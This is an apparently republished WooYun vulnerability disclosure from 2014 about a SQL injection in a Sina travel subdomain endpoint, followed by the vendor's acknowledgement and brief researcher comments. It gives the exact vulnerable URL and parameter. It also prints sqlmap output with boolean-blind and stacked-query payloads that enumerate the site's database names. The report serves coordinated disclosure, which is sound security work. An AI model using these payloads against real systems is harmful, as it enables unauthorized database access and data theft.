新浪某分站SQL注射漏洞

2015年6月9日14:58:28评论223 views字数 209阅读0分41秒阅读模式

摘要

2014-09-05：细节已通知厂商并且等待厂商处理中
2014-09-06：厂商已经确认，细节仅向厂商公开
2014-09-16：细节向核心白帽子及相关领域专家公开
2014-09-26：细节向普通白帽子公开
2014-10-06：细节向实习白帽子公开
2014-10-20：细节向公众公开

漏洞概要关注数(10) 关注此漏洞

缺陷编号： WooYun-2014-75168

漏洞标题：新浪某分站SQL注射漏洞

漏洞作者： Jannock

提交时间： 2014-09-05 16:33

公开时间： 2014-10-20 16:34

漏洞类型： SQL注射漏洞

危害等级：高

自评Rank： 15

漏洞状态：厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： php+数字类型注射注射技巧

0人收藏

漏洞详情

披露状态：

简要描述：

新浪某分站SQL注射，mysql好像支持多行，好像。。

详细说明：

http://i.travel.sina.com.cn/interface/travel/channel/json_get_travel_list_by_love_uid.php?t=jsonp&callback=12085&uid=1887467502

注入点 uid

漏洞证明：

code 区域

[*] starting at 16:17:48
 
 [16:17:48] [INFO] testing connection to the target URL
 sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
 ---
 Place: GET
 Parameter: uid
     Type: boolean-based blind
     Title: AND boolean-based blind - WHERE or HAVING clause
     Payload: t=jsonp&callback=12085&uid=1887467502 and 1=if((1=1 AND 6607=6607),1,(select 1 union select 2))
 ---
  requests:
 ---
 Place: GET
 Parameter: uid
     Type: stacked queries
     Title: MySQL > 5.0.11 stacked queries
     Payload: t=jsonp&callback=12085&uid=1887467502; SELECT SLEEP(5)--
 ---
 [16:17:48] [INFO] testing MySQL
 [16:17:48] [INFO] confirming MySQL
 [16:17:48] [INFO] the back-end DBMS is MySQL
 web application technology: Apache
 back-end DBMS: MySQL >= 5.0.0
 [16:17:48] [INFO] fetching database names
 [16:17:48] [INFO] fetching number of databases
 [16:17:48] [INFO] retrieved: 3
 [16:17:50] [INFO] retrieving the length of query output
 [16:17:50] [INFO] retrieved: 18
 [16:18:00] [INFO] retrieved: information_schema
 [16:18:00] [INFO] retrieving the length of query output
 [16:18:00] [INFO] retrieved: 4
 [16:18:03] [INFO] retrieved: test
 [16:18:03] [INFO] retrieving the length of query output
 [16:18:03] [INFO] retrieved: 14
 [16:18:11] [INFO] retrieved: traveldatacity
 available databases [3]:
 [*] information_schema
 [*] test
 [*] traveldatacity

修复方案：

过滤

版权声明：转载请注明来源 Jannock@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2014-09-06 18:04

厂商回复：

感谢关注新浪安全，漏洞正在修复。

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

2014-09-05 16:36 | 卡卡 ( 普通白帽子 | Rank:468 漏洞数:57 | <script>alert('安全团队长期招人')</scrip...)

1

还差一点，一个加油，哈哈~~

1# 回复此人
2014-09-05 16:38 | 浮萍 ( 普通白帽子 | Rank:1077 漏洞数:217 )

1

指导学习一下呀一哥

2# 回复此人
2014-09-05 16:41 | 进击的zjx ( 普通白帽子 | Rank:1712 漏洞数:224 )

1

新浪已被一哥无情射穿 @新浪

3# 回复此人
2014-09-05 18:50 | 老笨蛋 ( 路人 | Rank:29 漏洞数:8 | 老笨蛋一个)

0

一哥，撸太多了，小心精尽人亡啊。

4# 回复此人
2014-10-21 15:28 | mantis ( 实习白帽子 | Rank:61 漏洞数:8 | 一萧一剑走江湖，千古情愁尿一壶)

0

是你，是你，又是你，怎么还是你？

5# 回复此人

漏洞概要 关注数(10) 关注此漏洞